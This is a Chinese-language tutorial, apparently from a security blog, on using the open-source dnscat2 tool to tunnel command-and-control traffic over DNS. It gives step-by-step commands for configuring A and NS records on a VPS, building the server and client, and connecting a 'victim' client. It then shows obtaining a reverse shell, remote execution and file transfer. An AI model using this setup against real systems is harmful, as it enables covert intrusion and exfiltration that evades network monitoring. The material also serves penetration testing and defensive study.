DNS
当你在浏览器中输入域名访问网站时,它首先会向 DNS 服务器发送请求来查找域名对应的 IP 地址。找到 IP 地址之后,就会通过 IP 定位到对应的服务器然后获取网站的内容。这整个过程仅仅只需要几毫秒。DNS 默认是运行在 53 端口上。
域名系统将 URL 和 IP 地址关联起来。有了 DNS,我们就可以直接在浏览器中输入比较容易记的单词,而不是一连串的数字,这样人们就能够搜索站点并且发送消息了。
PS:写这篇文章写了两天,特意买了个域名和服务器!中途遇到各种问题,害,最后还是解决了!
DNS隧道进行C&C通信
Dnscat2
DNScat 堪称神器,因为它可以通过 DNS 协议创建 C&C 隧道,让攻击者更加隐蔽。你可以访问任何数据以及上传和下载文件,并且获得一个 shell。这个工具也是基于 53 端口的,所以你不需要对 DNS 服务器进行权威访问,只要通过 53 端口就能建立连接,速度会快很多,而且发送的流量都是正常流量。但是这些通信流量在数据包日志里就非常明显了,容易被发现。
什么时候可以用到 DNScat2?目标只能DNS出网的时候可以用到DNScat2.
代码语言:javascript复制dnscat2是一个开源软件,下载地址:https://github.com/iagox86/dnscat2
它使用DNS协议创建加密的C&C通道,严格来讲它是一个命令与控制工具。
dns 隧道分为两种,一种是直连模式,就是dns通信目标受害机器直接连接到自己的VPS服务器(C&C)
第二种是中继模式,受害者机器首先会去请求互联网上的dns服务器,最后再指向自己的VPS服务器(C&C)
一、在一台外网VPS服务器上安装Linux操作系统(作为C&C服务器),并提供一个可以配置的域名
首先创建记录A,将自己的域名解析服务器(www.saulgoodman.club)指向VPS服务器,167.xxx.xxx.xxx
然后创建 NS 记录,将 dns 子域名解析结果向 www.saulgoodman.club。其中主机记录的 dns 就是子域名,可以随便设置!
之后Ping www.saulgoodman.club 查看是否解析成功:
能 Ping 同,并且返回的是 服务器IP 的回复说明解析记录A已经设置生效。
之后使用 tcpdump 抓包(端口的53的UDP包)
代码语言:javascript复制sudo tcpdump -n -i eth0 dst port 53
然后使用 nslookup 命令查看Dns是否解析成功:
代码语言:javascript复制nslookup test.saulgoodman.club
这个时候抓包的时候就会有记录,说明ns解析成功
二、安装dnscat2服务端
在 VPS 服务器上安装dnscat2服务器端(ubuntu服务器),因为服务端是用ruby语言编写的,所以需要配置ruby环境
代码语言:javascript复制sudo apt-get install gem
sudo apt-get install ruby-dev
sudo apt-get install libpq-dev
sudo apt-get install ruby-bundler
代码语言:javascript复制apt-get install git
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/serive/
sudo apt-get install libxml2-dev libxslt-dev
bundle install
接下来,执行如下命令,启动服务端有三种:
代码语言:javascript复制#启动
sudo ruby./dnscat2.rb abc.com --secret=123456 #方式1【常用】
sudo ruby./dnscat2.rb --dns server=127.0.0.1,port=533,type=TXT --secret=saul #方式2
sudo ruby./dnscat2.rb abc.com --secret=123456 --security=open --no-cache #方式3
代码语言:javascript复制ruby ./dnscat2.rb test.saulgoodman.club -e open -c saul --no-cache (我使用这个报错不知道为什么)
# -W0 -Ispec 是为了不报错弹出警告,如果报错发出警告可以加上这一条参数
#-e 是一个安全级别,open是服务端允许客户端不进行加密
#-c 是指定一个密码
# --no-cache 禁止缓存,务必在允许服务器时添加此选项,因为powershell-dnscat2客户端与dnscat2服务器的Caching模式不兼容
如果采用是直连模式,可以用下面这条命令:
sudo ruby./dnscat2.rb --dns server=127.0.0.1,port=533,type=TXT --secret=saul
三:客户端下载安装dnscat2
客户端Windows下载的话是:https://downloads.skullsecurity.org/dnscat2/
下载地址:https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip(密码:password )
Linux 直接下载并编译:
代码语言:javascript复制git clone https://github.com/iagox86/dnscat2.git
cd dnscat2 /client/
make
四、测试是否能通信
服务端建立后,执行如下命令,测试客户端是否能与服务端通信:
代码语言:javascript复制./dnscat --dns domain=dns.saulgoodman.club
这个时候服务端收到会话:
复盘过程:目标受害者上的dnscat2指定了dns为攻击者的VPS,也就是(dns.saulgoodman.club),解析 dns.saulgoodman.club 会首先在本地dns缓存中查找,没有对应记录的时候,目标dns会从互联网上的跟dns服务器查询,dns根一看域名是 saulgoodman.club ,就会给到 saulgoodman.club 的域名服务器,saulgoodman.club 域名服务器就会找 A 记录和 NS 记录。
具体过程中 dnscat2 客户端经过了互联网的dns服务器,然后再连接到我们的dns服务器,所以这就是中继模式。
五、 反弹Shell
客户端和服务端建立连接之后,服务端将处于交互模式,输入“windows”或者“session”命令,可以查看当前控制的进程(每个连接都是独立的):
代码语言:javascript复制session
输入命令选择进入到目标:
代码语言:javascript复制session -i 1
可以输入 help 查看有哪些命令:
代码语言:javascript复制command (saulGoodman) 1> help
Here is a list of commands (use -h on any of them for additional help):
* clear 清屏
* delay 修改远程相应延时
* download 下载文件
* echo
* exec 执行远程机器上的指定程序
* help
* listen
* ping
* quit 切断当前会话
* set 设置值,类似于 security=open
* shell 得到一个反弹shell
* shutdown 切断当前会话
* suspend 返回上一层,相对于使用快捷键ctrl Z
* tunnels
* unset
* upload
* window
* windows
command (saulGoodman) 1>
获取交互式 shell 模式:
代码语言:javascript复制shell
如上图,我们输入 shell 成功建立后得到一个 4 的会话,之后就可以使用 session -i 4 进行连接:
代码语言:javascript复制session -i 4
如果想退出的话,输入 exit 即可退出!
session 命令还可以看看有多少个会话:
最后,dnscat2 还提供了多域名并发的特性,可以将多个子域名绑定在同一个 NS 解析记录下,然后再服务端同时接收多个客户连接:
代码语言:javascript复制ruby dnscat2.rb --dns=port=53532 --security=open start --dns domain=域名1,domain=域名2
参考文章:
https://mp.weixin.qq.com/s/BmeFxYeIy5fTY_p39ktr9A
https://blog.csdn.net/weixin_41598660/article/details/106658548